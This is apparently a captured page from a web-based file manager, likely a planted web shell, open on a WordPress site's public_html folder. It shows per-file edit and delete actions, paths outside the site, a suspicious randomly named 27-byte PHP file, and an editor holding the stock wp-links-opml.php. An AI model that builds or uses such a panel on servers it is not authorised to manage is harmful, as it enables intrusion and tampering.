Priority File Manager
📁 public_html
Base Directory:
/home/ecedu/public_html
/home/ecedu/public_html/wp-content/plugins
/home/ecedu/public_html/wp-content
/home/ecedu
/var/www
/var/www/cgi-bin
/var/www/html
public_html
/home/ecedu/public_html
Name
Type
Size
Actions
📄
.htaccess
File
1580
Delete
Rename
Edit
Download
📁
.well-known
Folder
-
Delete
Rename
📄
.well-known.zip
File
15555571
Delete
Rename
Edit
Download
📄
.wp-toolkit-ignore
File
217
Delete
Rename
Edit
Download
📁
cce
Folder
-
Delete
Rename
📄
error_log
File
92448
Delete
Rename
Edit
Download
📄
index.php
File
405
Delete
Rename
Edit
Download
📄
license.txt
File
19903
Delete
Rename
Edit
Download
📁
new
Folder
-
Delete
Rename
📄
rZ2i4m.php
File
27
Delete
Rename
Edit
Download
📄
readme.html
File
7425
Delete
Rename
Edit
Download
📁
telegrambot
Folder
-
Delete
Rename
📄
wp-activate.php
File
7387
Delete
Rename
Edit
Download
📁
wp-admin
Folder
-
Delete
Rename
📄
wp-blog-header.php
File
351
Delete
Rename
Edit
Download
📄
wp-comments-post.php
File
2323
Delete
Rename
Edit
Download
📄
wp-config-sample.php
File
3336
Delete
Rename
Edit
Download
📄
wp-config.php
File
3758
Delete
Rename
Edit
Download
📁
wp-content
Folder
-
Delete
Rename
📄
wp-cron.php
File
5617
Delete
Rename
Edit
Download
📁
wp-includes
Folder
-
Delete
Rename
📄
wp-links-opml.php
File
2502
Delete
Rename
Edit
Download
📄
wp-load.php
File
3937
Delete
Rename
Edit
Download
📄
wp-login.php
File
51414
Delete
Rename
Edit
Download
📄
wp-mail.php
File
8727
Delete
Rename
Edit
Download
📄
wp-settings.php
File
30081
Delete
Rename
Edit
Download
📄
wp-signup.php
File
34516
Delete
Rename
Edit
Download
📄
wp-trackback.php
File
5102
Delete
Rename
Edit
Download
📄
wpt-hotlinked-image-stub.png
File
12890
Delete
Rename
Edit
Download
📄
xmlrpc.php
File
3205
Delete
Rename
Edit
Download
Upload
Create Folder
📝 Editing:
wp-links-opml.php
Size: 2,502 bytes
Lines: 99
Type: .php
💾 Save
Cancel
✕
<?php /** * Outputs the OPML XML format for getting the links defined in the link * administration. This can be used to export links from one blog over to * another. Links aren't exported by the WordPress export, so this file handles * that. * * This file is not added by default to WordPress theme pages when outputting * feed links. It will have to be added manually for browsers and users to pick * up that this file exists. * * @package WordPress */ require_once __DIR__ . '/wp-load.php'; header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ), true ); $link_cat = ''; if ( ! empty( $_GET['link_cat'] ) ) { $link_cat = $_GET['link_cat']; if ( ! in_array( $link_cat, array( 'all', '0' ), true ) ) { $link_cat = absint( (string) urldecode( $link_cat ) ); } } echo '<?xml version="1.0"?' . ">\n"; ?> <opml version="1.0"> <head> <title> <?php /* translators: %s: Site title. */ printf( __( 'Links for %s' ), esc_attr( get_bloginfo( 'name', 'display' ) ) ); ?> </title> <dateCreated><?php echo gmdate( 'D, d M Y H:i:s' ); ?> GMT</dateCreated> <?php /** * Fires in the OPML header. * * @since 3.0.0 */ do_action( 'opml_head' ); ?> </head> <body> <?php if ( empty( $link_cat ) ) { $cats = get_categories( array( 'taxonomy' => 'link_category', 'hierarchical' => 0, ) ); } else { $cats = get_categories( array( 'taxonomy' => 'link_category', 'hierarchical' => 0, 'include' => $link_cat, ) ); } foreach ( (array) $cats as $cat ) : /** This filter is documented in wp-includes/bookmark-template.php */ $catname = apply_filters( 'link_category', $cat->name ); ?> <outline type="category" title="<?php echo esc_attr( $catname ); ?>"> <?php $bookmarks = get_bookmarks( array( 'category' => $cat->term_id ) ); foreach ( (array) $bookmarks as $bookmark ) : /** * Filters the OPML outline link title text. * * @since 2.2.0 * * @param string $title The OPML outline title text. */ $title = apply_filters( 'link_title', $bookmark->link_name ); ?> <outline text="<?php echo esc_attr( $title ); ?>" type="link" xmlUrl="<?php echo esc_url( $bookmark->link_rss ); ?>" htmlUrl="<?php echo esc_url( $bookmark->link_url ); ?>" updated=" <?php if ( '0000-00-00 00:00:00' !== $bookmark->link_updated ) { echo $bookmark->link_updated; } ?> " /> <?php endforeach; // $bookmarks ?> </outline> <?php endforeach; // $cats ?> </body> </opml>
✅ File saved successfully!